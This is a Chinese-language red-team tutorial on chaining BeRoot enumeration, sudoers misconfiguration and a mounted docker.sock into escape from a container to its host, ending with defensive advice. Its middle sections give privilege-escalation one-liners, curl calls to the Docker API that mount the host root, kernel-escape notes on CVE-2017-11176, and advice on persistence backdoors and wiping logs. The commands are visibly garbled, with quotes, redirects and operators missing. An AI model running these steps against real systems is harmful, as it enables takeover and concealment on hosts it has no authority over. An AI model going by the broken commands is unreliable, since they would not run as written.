與安全攻防解析)
1. 項目概述從權限提升到容器逃逸的完整路徑在Linux安全評估和滲透測試領域權限提升Privilege Escalation是核心目標之一。我們經(jīng)常遇到一個場景通過某種方式比如一個Web漏洞獲取了一個低權限的Shell但目標系統(tǒng)上可能沒有現(xiàn)成的、公開的提權漏洞利用程序Exploit。這時自動化信息收集和權限提升工具就顯得至關重要。BeRoot就是這樣一款經(jīng)典工具它通過枚舉系統(tǒng)配置、檢查文件權限、分析運行進程等方式自動化地尋找潛在的提權路徑。然而BeRoot的價值遠不止于在一個孤立的系統(tǒng)上獲取一個root權限的Shell。它的真正威力在于為我們提供了一張清晰的“地圖”指引我們從系統(tǒng)配置的薄弱點出發(fā)最終可能實現(xiàn)更高級別的攻擊目標——例如從一個受限的Docker容器中逃逸到宿主機。這個項目標題“BeRoot在Linux系統(tǒng)中的完整應用從sudoers文件到Docker逃逸”精準地勾勒出了一條從微觀到宏觀的攻擊鏈。它不僅僅是關于運行一個工具而是關于如何將工具的輸出轉化為攻擊者的“眼睛”和“手腳”。sudoers文件的錯誤配置可能只是一個起點通過BeRoot的枚舉我們可能會發(fā)現(xiàn)容器內(nèi)掛載了宿主機的敏感目錄、存在危險的Capabilities能力配置或者容器服務本身以高權限運行。這些線索結合對Linux內(nèi)核、容器隔離機制Namespace, Cgroups的深入理解最終可能導向容器逃逸。本文將從一個資深安全研究員的視角拆解這條攻擊鏈上的每一個環(huán)節(jié)分享如何將BeRoot從一個簡單的枚舉腳本用成一套完整的權限突破與橫向移動的戰(zhàn)術手冊。無論你是負責紅隊演練的安全工程師還是負責加固容器環(huán)境的DevOps或安全運維理解這條路徑都至關重要。2. BeRoot工具的核心原理與深度使用BeRoot本身并不是一個利用漏洞的程序它不執(zhí)行任何注入或溢出。它的核心是一個“偵察兵”和“分析師”。其工作原理基于一個簡單卻強大的前提在復雜的Linux系統(tǒng)中提權往往不是靠一個“銀彈”漏洞而是多個配置疏忽疊加的結果。BeRoot系統(tǒng)地檢查這些常見的疏忽點。2.1 BeRoot的檢查維度與背后邏輯一個典型的BeRoot檢查會覆蓋以下方面每一方面都對應著一種或多種經(jīng)典的提權技術文件與目錄權限檢查這是最經(jīng)典的提權向量。BeRoot會尋找全局可寫World-writable的敏感目錄如/etc/cron.d,/etc/passwd的父目錄、SUID/SGID文件以及配置文件如/etc/shadow的錯誤權限。其背后的邏輯是如果攻擊者能向/etc/cron.d寫入一個任務或者修改/etc/passwd就能直接獲得root權限。對于SUID文件如果該文件本身存在漏洞如緩沖區(qū)溢出或者能被劫持如通過LD_PRELOAD就可能提權。sudoers配置與sudo漏洞/etc/sudoers文件定義了哪些用戶能以何種權限執(zhí)行哪些命令。BeRoot會檢查當前用戶是否被允許以root身份運行特定命令特別是那些可能用于逃逸的命令如sudo vi,sudo find,sudo perl等。更關鍵的是它會檢查是否存在sudo版本本身的已知漏洞CVE。例如古老的CVE-2019-14287漏洞允許在特定配置下以任意用戶ID執(zhí)行命令。BeRoot通過比對sudo版本和漏洞數(shù)據(jù)庫快速給出潛在風險提示。進程與服務枚舉檢查所有以root身份運行的進程特別是那些由當前用戶或低權限用戶啟動的。如果一個由root啟動的服務如Web服務器、數(shù)據(jù)庫存在漏洞攻擊者可能通過該服務獲取一個root權限的Shell。此外檢查/etc/init.d/或systemd服務單元看是否有配置錯誤導致服務以過高權限運行。環(huán)境變量與路徑劫持檢查$PATH環(huán)境變量的設置。如果root用戶的$PATH包含了當前用戶可寫的目錄并且root執(zhí)行了未使用絕對路徑的命令就可能被劫持。BeRoot也會檢查諸如LD_PRELOAD,LD_LIBRARY_PATH等環(huán)境變量是否在sudo時被保留這可能導致庫注入。內(nèi)核模塊與驅動列出已加載的內(nèi)核模塊。一個有漏洞的內(nèi)核模塊是提權的絕佳跳板。BeRoot雖然不深入分析模塊代碼但列出它們可以提示攻擊者去搜索對應模塊的公開漏洞。容器與虛擬化環(huán)境檢測這是連接“提權”與“逃逸”的關鍵橋梁。BeRoot會檢查是否運行在容器內(nèi)通過檢查/.dockerenv文件、/proc/1/cgroup內(nèi)容等。如果在容器內(nèi)它會額外檢查掛載點是否有宿主機目錄如/,/var/run/docker.sock被掛載到容器內(nèi)。掛載docker.sock是容器逃逸的“黃金門票”。Capabilities容器使用了哪些Linux Capabilities如CAP_SYS_ADMIN,CAP_DAC_READ_SEARCH。過高的Capabilities會嚴重削弱容器隔離性。AppArmor/SELinux配置文件是否配置了寬松或禁用的安全策略。注意BeRoot的輸出是“線索”而非“答案”。它告訴你“這里有個門可能沒鎖”但你需要自己判斷這扇門通向哪里以及如何打開它。高明的攻擊者需要結合這些線索構建攻擊鏈。2.2 實戰(zhàn)中的BeRoot超越默認掃描默認的BeRoot掃描已經(jīng)很強大了但在實戰(zhàn)中我們往往需要更定制化、更深入。結合手動枚舉BeRoot是一個很好的起點但不能完全依賴它。手動檢查/proc文件系統(tǒng)如/proc/net/tcp查看網(wǎng)絡連接、ps auxf查看進程樹、netstat -tulpn查看網(wǎng)絡服務能發(fā)現(xiàn)BeRoot可能遺漏的細節(jié)。例如一個隱藏在非標準端口的redis服務可能沒有配置認證。關注“新”向量隨著云原生和容器化普及新的提權向量不斷出現(xiàn)。例如檢查Kubernetes的Service Account令牌/var/run/secrets/kubernetes.io/serviceaccount、etcd配置、云服務元數(shù)據(jù)端點如AWS的169.254.169.254。成熟的攻擊者會編寫自定義腳本或模塊來擴展BeRoot的功能。輸出結果的分析框架不要被BeRoot輸出的海量信息淹沒。建立一個分析優(yōu)先級直接利用型如可寫的/etc/passwd、可利用的SUID文件、特定的sudo命令sudo su。間接利用型如可寫的服務腳本、不安全的cron任務、掛載的宿主機目錄。信息收集型如內(nèi)核版本、運行的服務版本用于后續(xù)搜索公開漏洞。我個人的習慣是在獲取BeRoot輸出后立即用grep過濾出“Writable”、“SUID”、“sudo”、“mount”、“capabilities”等關鍵詞快速定位高危項。同時將內(nèi)核版本、docker版本等信息單獨記錄下來用于離線漏洞研究。3. 從sudoers漏洞到立足點鞏固假設BeRoot報告了一個關鍵的發(fā)現(xiàn)當前用戶可以通過sudo以root身份無密碼運行/usr/bin/python3。這是一個非常典型且危險的配置失誤。3.1 利用sudoers配置錯誤/etc/sudoers中可能有一行這樣的配置lowprivuser ALL(ALL) NOPASSWD: /usr/bin/python3這意味著用戶lowprivuser可以在任何主機上以任何用戶包括root的身份無需密碼運行python3。利用方法直接而有效sudo python3 -c import os; os.setuid(0); os.system(/bin/bash)或者生成一個具有SUID位的/bin/bash副本sudo python3 -c import os; os.system(cp /bin/bash /tmp/rootbash; chmod s /tmp/rootbash)然后執(zhí)行/tmp/rootbash -p即可獲得一個rootshell。實操心得在利用這類sudo權限時要特別注意目標系統(tǒng)的環(huán)境。如果python3被AppArmor或SELinux嚴格限制上述命令可能會失敗。此時可以嘗試用python3讀寫敏感文件如/etc/shadow或啟動一個反向Shell到你的控制端方式更靈活。3.2 鞏固立足點與信息深度收集獲得root權限后第一件事不是歡呼而是鞏固立足點并進行更深度的信息收集為可能的橫向移動或逃逸做準備。添加持久化后門在/etc/passwd中添加一個UID為0的用戶或者創(chuàng)建一個新的SSH密鑰對將公鑰寫入root用戶的.ssh/authorized_keys。對于容器環(huán)境后門可能更隱蔽比如修改入口點腳本。抓取密碼哈希復制/etc/shadow文件嘗試用john或hashcat離線破解。即使無法破解這些哈希也可能在其他系統(tǒng)上復用密碼重用。全面進程與網(wǎng)絡分析以root身份運行ps auxef或systemctl list-units查看所有系統(tǒng)服務。運行netstat -tulpn或ss -tulpn查看所有監(jiān)聽端口特別注意那些只監(jiān)聽在127.0.0.1或特定網(wǎng)卡上的服務。關鍵配置文件收集收集/etc/下的所有配置文件特別是網(wǎng)絡、服務、計劃任務相關的。備份整個/home目錄和Web目錄。容器環(huán)境深度探測這是通向“逃逸”的關鍵一步。執(zhí)行以下命令# 確認是否在容器內(nèi) cat /proc/1/cgroup | grep -i docker ls -la /.dockerenv 2/dev/null # 檢查Docker相關文件 find / -name docker.sock 2/dev/null find / -name .docker 2/dev/null # 檢查掛載點尋找宿主機文件系統(tǒng) mount | grep -v tmpfs\|proc\|sysfs\|devpts\|cgroup cat /proc/mounts | grep -v tmpfs\|proc\|sysfs\|devpts\|cgroup # 檢查Capabilities cat /proc/1/status | grep Cap # 或者使用capsh工具如果存在 capsh --print # 檢查內(nèi)核版本和模塊 uname -a lsmod假設在容器內(nèi)你發(fā)現(xiàn)了一個至關重要的信息/var/run/docker.sock被掛載到了容器內(nèi)的/tmp/docker.sock。這個發(fā)現(xiàn)將整個攻擊提升到了一個新的層面。4. 利用Docker Socket掛載實現(xiàn)容器逃逸/var/run/docker.sock是Docker守護進程Docker Daemon的Unix套接字文件。與這個套接字通信就等于直接向Docker守護進程發(fā)送指令。默認情況下該套接字由root用戶和docker組所有。如果容器內(nèi)掛載了此套接字并且容器內(nèi)的進程有權限讀寫它通常需要root或加入docker組那么就能從容器內(nèi)部控制宿主機上的整個Docker引擎。4.1 逃逸原理與步驟當你在容器內(nèi)發(fā)現(xiàn)可用的docker.sock時逃逸過程變得異常簡單安裝Docker客戶端容器內(nèi)可能沒有docker命令。需要安裝Docker客戶端或者更簡單使用任何能發(fā)起HTTP請求的工具如curl、python、wget因為Docker API本質(zhì)上是一個RESTful接口。與Docker守護進程通信通過掛載的套接字文件向Docker守護進程發(fā)送指令。創(chuàng)建并運行一個新容器關鍵的一步是創(chuàng)建一個新的容器并將宿主機的根文件系統(tǒng)/掛載到這個新容器內(nèi)。在新容器內(nèi)執(zhí)行命令在新容器內(nèi)執(zhí)行命令由于掛載了宿主機根目錄這些命令實際上是在宿主機上執(zhí)行的。以下是使用幾種不同方法的實操命令方法一使用docker命令行客戶端如果已安裝或可安裝# 假設docker.sock掛載在/tmp/docker.sock export DOCKER_HOSTunix:///tmp/docker.sock # 1. 列出宿主機上的所有容器和鏡像確認連接成功 docker ps -a docker images # 2. 運行一個特權容器掛載宿主機根目錄到容器的/host目錄 docker run -it --rm --privileged -v /:/host alpine:latest /bin/sh # 進入新容器的Shell后你現(xiàn)在就擁有了宿主機的文件系統(tǒng)視圖 # chroot /host # 可以切換到宿主機的根環(huán)境 # 現(xiàn)在你可以在/host目錄下執(zhí)行任何命令例如修改/host/etc/passwd或者添加一個SSH密鑰到/host/root/.ssh/authorized_keys方法二直接使用curl調(diào)用Docker API無需安裝Docker客戶端這是更通用、更隱蔽的方法。# 1. 首先通過API查看Docker信息確認套接字可用 curl --unix-socket /tmp/docker.sock http://localhost/info # 2. 創(chuàng)建一個新容器配置掛載宿主機根目錄。需要構造一個JSON請求。 # 先獲取一個鏡像的ID比如alpine ALPINE_IMAGE_ID$(curl -s --unix-socket /tmp/docker.sock http://localhost/images/json | grep -o Id:[^]* | head -1 | cut -d -f4) # 3. 創(chuàng)建容器配置。注意這里使用HostConfig的Binds字段掛載/到/host。 # 同時我們請求一個特權容器Privileged: true并分配一個TTYTty: true。 CREATE_CONTAINER_JSON$(cat EOF { Image: $ALPINE_IMAGE_ID, Cmd: [/bin/sh], HostConfig: { Binds: [/:/host], Privileged: true }, Tty: true, OpenStdin: true } EOF ) CONTAINER_ID$(curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d $CREATE_CONTAINER_JSON \ http://localhost/containers/create | grep -o Id:[^]* | cut -d -f4) echo 創(chuàng)建的容器ID: $CONTAINER_ID # 4. 啟動這個容器 curl -s -X POST --unix-socket /tmp/docker.sock http://localhost/containers/$CONTAINER_ID/start # 5. 附加到容器的標準輸入輸出獲得一個Shell。這里使用socat或nc來建立雙向通信更穩(wěn)定但用curl執(zhí)行命令也是可以的。 # 例如執(zhí)行一個命令并獲取輸出 EXEC_JSON{AttachStdin: false, AttachStdout: true, AttachStderr: true, Tty: false, Cmd: [ls, -la, /host]} EXEC_ID$(curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d $EXEC_JSON \ http://localhost/containers/$CONTAINER_ID/exec | grep -o Id:[^]* | cut -d -f4) curl -s -X POST --unix-socket /tmp/docker.sock \ -H Content-Type: application/json \ -d {Detach: false, Tty: false} \ http://localhost/exec/$EXEC_ID/start通過這種方式你可以在新容器內(nèi)執(zhí)行任意命令操作宿主機文件系統(tǒng)。重要提示通過API創(chuàng)建和操作容器雖然強大但步驟稍顯繁瑣。在實戰(zhàn)中如果條件允許我會優(yōu)先嘗試在容器內(nèi)安裝docker客戶端例如從宿主機拷貝或使用靜態(tài)編譯的二進制文件這樣操作起來更直觀高效。4.2 逃逸后的行動成功逃逸到宿主機后你的行動就完全取決于目標了。你可能需要權限維持在宿主機上植入后門SSH密鑰、Webshell、定時任務等。橫向移動掃描宿主機所在網(wǎng)段的其他機器。痕跡清理清理容器和宿主機上的日志如/var/log/下的相關記錄、Docker容器日志docker logs container_id。信息收集收集宿主機上的敏感信息如/etc/passwd,/etc/shadow, 歷史命令history, SSH密鑰等。5. 內(nèi)核漏洞與高級逃逸技術通過docker.sock掛載逃逸屬于“配置不當”導致的逃逸相對容易。但在配置良好的環(huán)境中這條路徑可能被堵死。此時如果我們在容器內(nèi)獲得了root權限例如通過BeRoot發(fā)現(xiàn)的SUID漏洞并且宿主機內(nèi)核存在漏洞我們就可以嘗試利用內(nèi)核漏洞進行“硬逃逸”。這正是你提供的參考材料中詳細描述的場景。5.1 內(nèi)核漏洞逃逸的核心挑戰(zhàn)容器如Docker使用Linux內(nèi)核的Namespace和Cgroups實現(xiàn)隔離。但關鍵點在于所有容器共享宿主機的內(nèi)核。因此一個能導致權限提升從普通用戶到root的內(nèi)核漏洞在容器內(nèi)被觸發(fā)后獲得的“root”權限最初仍然被限制在容器的Namespace中。這是因為進程的“視野”看到的文件系統(tǒng)、進程樹、網(wǎng)絡等和“能力”受到Namespace和Cgroups的限制。所以內(nèi)核漏洞逃逸通常需要兩個步驟利用內(nèi)核漏洞提升權限在容器內(nèi)獲得內(nèi)核態(tài)的代碼執(zhí)行能力將當前進程的憑證credential改為root。突破Namespace隔離修改當前進程的Namespace相關數(shù)據(jù)結構主要是task_struct中的fs_struct和nsproxy使其指向宿主機的初始Namespace通常是init進程的Namespace從而“看到”并“接觸”到宿主機環(huán)境。5.2 基于CVE-2017-11176的逃逸思路分析你提供的參考文章詳細分析了利用CVE-2017-11176一個mq_notify中的use-after-free漏洞進行逃逸的過程。這里我提煉其技術精髓和實操中的關鍵點漏洞利用與提權首先需要有一個能在目標內(nèi)核版本上穩(wěn)定工作的漏洞利用程序Exploit。這個Exploit能在容器內(nèi)觸發(fā)漏洞執(zhí)行任意內(nèi)核代碼并調(diào)用commit_creds(prepare_kernel_cred(0))將當前進程的權限提升為root。這一步只是獲得了容器內(nèi)的root。替換fs_struct進程的根目錄和當前工作目錄信息保存在task_struct-fs指向一個fs_struct結構中。為了“看到”宿主機的文件系統(tǒng)Exploit需要找到宿主機上init進程PID 1的task_struct并將其fs_struct復制到當前進程。文章中的代碼通過遍歷task_struct-real_parent鏈表回溯到PID 1的進程。完成復制后進程的根目錄就變成了宿主機的根目錄可以訪問宿主機文件了。替換nsproxy僅替換文件系統(tǒng)視圖還不夠進程仍然被困在容器的其他Namespace如PID, Network, IPC等中。這意味著你無法看到宿主機上的其他進程在容器內(nèi)/proc下看到的PID是獨立的也無法與宿主機的網(wǎng)絡棧交互。因此需要將當前進程的task_struct-nsproxy替換為宿主機的初始nsproxy即init_nsproxy。文章嘗試了兩種方法一種是先切換PID 1進程的namespace再讓當前進程通過setns加入另一種是直接替換當前進程的nsproxy指針。后者被證明是有效的。最終的障礙與解決即使完成了上述步驟有時可能仍無法彈出一個穩(wěn)定的rootshell。這可能與進程的會話session、控制終端tty或信號處理有關。在實戰(zhàn)中更可靠的做法不是在Exploit內(nèi)部直接調(diào)用execve彈shell而是讓Exploit在宿主機文件系統(tǒng)中寫入一個后門程序比如一個SUID的/bin/bash或者向宿主機cron添加一個任務然后退出。之后通過原有的容器入口點或新觸發(fā)的任務獲得一個完全在宿主機Namespace下的高權限shell。5.3 內(nèi)核漏洞逃逸的實操考量對于安全研究人員或紅隊成員在內(nèi)網(wǎng)遇到一個可能易受攻擊的容器時需要考慮信息收集精確獲取宿主機內(nèi)核版本uname -r、發(fā)行版信息。容器內(nèi)的內(nèi)核版本與宿主機一致。漏洞匹配根據(jù)內(nèi)核版本尋找公開的、可用的本地提權LPE漏洞。需要關注漏洞是否被修復、是否有公開的Exploit、Exploit是否需要調(diào)整如偏移量。環(huán)境適配公開的Exploit往往針對特定內(nèi)核版本和發(fā)行版編譯。在容器內(nèi)編譯Exploit可能需要安裝gcc和內(nèi)核頭文件linux-headers這可能會觸發(fā)告警。可以嘗試交叉編譯或使用Go/Python等語言編寫的、不依賴特定頭文件的Exploit。穩(wěn)定性與隱蔽性內(nèi)核Exploit可能導致系統(tǒng)崩潰Kernel Panic產(chǎn)生巨大動靜。在實戰(zhàn)中需權衡風險。此外利用過程會在系統(tǒng)日志dmesg,/var/log/kern.log中留下痕跡。逃逸后的動作一旦逃逸成功應立即進行持久化操作因為Exploit造成的系統(tǒng)不穩(wěn)定或管理員檢查容器狀態(tài)都可能暴露行蹤。6. 其他容器逃逸路徑與BeRoot的關聯(lián)除了docker.sock掛載和內(nèi)核漏洞BeRoot還能幫助我們發(fā)現(xiàn)其他逃逸路徑危險的Capabilities如果BeRoot顯示容器擁有CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH等危險能力逃逸可能性大增。CAP_SYS_ADMIN近似于root可以執(zhí)行大量特權操作如掛載文件系統(tǒng)、調(diào)用syscall。結合ptrace或unshare等命令可能實現(xiàn)逃逸。CAP_SYS_PTRACE可以調(diào)試其他進程。如果容器內(nèi)有一個root權限的進程可以ptrace它并注入代碼。CAP_DAC_READ_SEARCH可以繞過文件讀權限和目錄搜索權限檢查。可以用來讀取宿主機上的敏感文件。特權模式--privileged如果容器以--privileged模式運行它幾乎擁有宿主機root的所有能力逃逸變得非常簡單例如直接掛載宿主機磁盤。掛載敏感路徑除了docker.sockBeRoot發(fā)現(xiàn)的任何宿主機路徑掛載如/proc,/sys,/dev都需要仔細審查。掛載/proc且配置不當可能導致通過/proc/sys/kernel/core_pattern等路徑逃逸。服務漏洞容器內(nèi)運行的root權限服務如SSH, MySQL, Redis如果存在遠程代碼執(zhí)行漏洞攻擊者可以利用它獲得一個rootshell然后從內(nèi)部尋找逃逸方法。7. 防御視角如何阻斷這條攻擊鏈理解了攻擊路徑防御就更有針對性。作為防御方你應該最小權限原則容器絕不使用--privileged模式。使用--cap-dropALL移除所有Capabilities然后按需添加--cap-add。避免掛載docker.sock。如必須掛載確保容器內(nèi)用戶無讀寫權限。宿主機嚴格配置sudoers遵循最小授權。定期使用類似BeRoot的工具進行自查。定期更新與掃描保持內(nèi)核、Docker版本、容器鏡像及時更新修復已知漏洞。使用容器安全掃描工具如Trivy, Clair, Grype掃描鏡像中的漏洞。在宿主機和容器內(nèi)運行主機入侵檢測系統(tǒng)HIDS監(jiān)控異常文件變化、進程行為和新監(jiān)聽端口。強化配置為Docker守護進程啟用用戶命名空間映射--userns-remap增加隔離性。使用Seccomp、AppArmor或SELinux為容器配置嚴格的安全策略。考慮使用rootless模式運行Docker。網(wǎng)絡與監(jiān)控對容器網(wǎng)絡進行微隔離限制不必要的容器間及容器與宿主機間的通信。集中收集和分析容器及宿主機日志使用SIEM或安全分析平臺建立異常行為檢測規(guī)則。從sudoers文件的一個配置失誤到利用BeRoot發(fā)現(xiàn)容器內(nèi)掛載的docker.sock最終實現(xiàn)容器逃逸并控制宿主機這條攻擊鏈清晰地展示了現(xiàn)代系統(tǒng)安全中“牽一發(fā)而動全身”的特性。安全是一個整體任何一個環(huán)節(jié)的疏忽都可能成為整個防線崩潰的起點。對于攻擊者BeRoot是打開局面的鑰匙對于防御者理解BeRoot所檢查的每一項就是加固自己陣地的藍圖。真正的安全始于對攻擊者思維的深刻理解。